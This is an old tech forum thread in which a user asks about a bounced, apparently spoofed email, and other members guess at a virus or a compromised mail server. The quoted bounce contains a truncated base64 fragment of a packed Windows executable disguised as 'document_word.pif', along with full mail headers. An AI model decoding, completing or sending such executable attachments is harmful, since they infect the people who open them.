Question for Brad.

[Saddletramp]

Hey Brad,
I got an email this morning and I have no idea where it came from or how it generated but it has brad@pctechforum.com written on it. I have never sent you an email and I don't have you in my personal address lists so I don't know where it came from. Now, I have been having problems opening .xls spreadsheets and also had a .xls spreadsheet on a floppy misteriously get damaged so I can't open it anymore but I don't know if this is related. Anyway, this is the email I received:


This message was created automatically by mail delivery software.

A message that you sent could not be delivered to one or more of its
recipients. This is a permanent error. The following address(es) failed:

brad@pctechforums.com
This message has been rejected because it has
a potentially executable attachment "document_word.pif"
This form of attachment has been used by
recent viruses or other malware.
If you meant to send this file then please
package it up as a zip file and resend it.

------ This is a copy of the message, including all the headers. ------

Return-path: <cajunsaddletramp@aol.com>
Received: from [212.144.211.111] (helo=pctechforums.com)
by hauler.turbosonicserver.com with esmtp (Exim 4.43)
id 1CR4Yl-0000gz-EH
for brad@pctechforums.com; Mon, 08 Nov 2004 02:07:53 -0600
From: cajunsaddletramp@aol.com
To: brad@pctechforums.com
Subject: Re: Word file
Date: Mon, 8 Nov 2004 09:11:56 +0100
MIME-Version: 1.0
Content-Type: multipart/mixed;
boundary="----=_NextPart_000_0003_00006E47.00003FA5"
X-Priority: 3
X-MSMail-Priority: Normal

This is a multi-part message in MIME format.

------=_NextPart_000_0003_00006E47.00003FA5
Content-Type: text/plain;
charset="Windows-1252"
Content-Transfer-Encoding: 7bit

Your document is attached.

------=_NextPart_000_0003_00006E47.00003FA5
Content-Type: application/octet-stream;
name="document_word.pif"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
filename="document_word.pif"

TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAuAAAAKvnXsbvhjCV74Ywle+GMJVsmj6V44YwlQeZOpX2hjCV74YxlbiGMJVsjm2V
4oYwlQeZO5XqhjCVV4A2le6GMJVSaWNo74YwlQAAAAAAAAAAQ29tcHJlc3NlZCBieSBQZXRp
dGUgKGMpMTk5OSBJYW4gTHVjay4AAFBFAABMAQMA6ZtBQAAAAAAAAAAA4AAPAQsBBgAASAAA
APAAAAAAAABCcAEAABAAAABgAAAAAEAAABAAAAACAAAEAAAAAAAAAAQAAAAAAAAAAIABAAAE
AAAAAAAAAgAAAAAAEAAAEAAAAAAQAAAQAAAAAAAAEAAAAAAAAAAAAAAA/HEBAK8BAAAAYAEA
EAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
LnBldGl0ZQAAUAEAABAAAAA8AAAACAAAAAAAAAAAAAAAAAAAYAAA4AAAAAAAAAAAABAAAABg
AQAQAAAAAEQAAAAAAAAAAAAAAAAAAEAAAEAAAAAAAAAAAKsDAAAAcAEAAAQAAAAEAAAAAAAA
AAAAAAAAAABgAADiAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIgC

Now when I click on "details" .....I got this:

Return-Path: <>
Received: from rly-yg03.mx.aol.com (rly-yg03.mail.aol.com [172.18.180.99]) by air-yg01.mail.aol.com (v103.7) with ESMTP id MAILINYG13-280418f8cbf21a; Mon, 08 Nov 2004 10:13:14 -0500
Received: from hauler.turbosonicserver.com (margae.net [67.19.6.2]) by rly-yg03.mx.aol.com (v103.7) with ESMTP id MAILRELAYINYG310-280418f8cbf21a; Mon, 08 Nov 2004 10:11:59 -0500
Received: from mailnull by hauler.turbosonicserver.com with local (Exim 4.43)
id 1CR4Z7-0000hI-RC
for cajunsaddletramp@aol.com; Mon, 08 Nov 2004 02:07:53 -0600
X-Failed-Recipients: brad@pctechforums.com
Auto-Submitted: auto-generated
From: Mail Delivery System <Mailer-Daemon@hauler.turbosonicserver.com>
To: cajunsaddletramp@aol.com
Subject: Mail delivery failed: returning message to sender
Message-Id: <E1CR4Z7-0000hI-RC@hauler.turbosonicserver.com>
Date: Mon, 08 Nov 2004 02:07:53 -0600
X-AntiAbuse: This header was added to track abuse, please include it with any abuse report
X-AntiAbuse: Primary Hostname - hauler.turbosonicserver.com
X-AntiAbuse: Original Domain - aol.com
X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12]
X-AntiAbuse: Sender Address Domain -
X-Source:
X-Source-Args:
X-Source-Dir:
X-AOL-IP: 67.19.6.2
X-AOL-SCOLL-SCORE: 0:0:0:
X-AOL-SCOLL-URL_COUNT: 0

Any idea what this is all about or how I got this email? Thanks in advance for your time Brad.

[PCguy]

I would check your system for a virus. Perhaps you were on PC Tech when it read his email address off the site. That is my best guess cause you were the sender to brad and it was rejected.

Keep us informed.

[Saddletramp]

I'm running Norton and keep it updated. As a matter of fact, I ran Norton the day before the email came. Also, I was not logged onto this site for several months. I visit it occasionally just to look around but I have it set to log in manually and don't log in unless I have something to say but thanks for your reply.

[liljim]

[Cactus]

How strange...here I am reading this post and in comes an Email..

Virus infected of course...

The message says I sent a message to Brad using my PCTECH addy...which I didn't.
Now the message was sent to Brads PCTECH addy and returned to my PCTECH addy...

I'd say our PCTECH mailserver has been compromised!!!

Norton picked it up right away...the returned email actually was Virus Infected.

Looks like the same problem we had on the old server...
Dunno...just my thoughts.

Cactus

[brad]

[Saddletramp]

OK then, I guess its nothing serious. Thanks for all your replys.

[venney]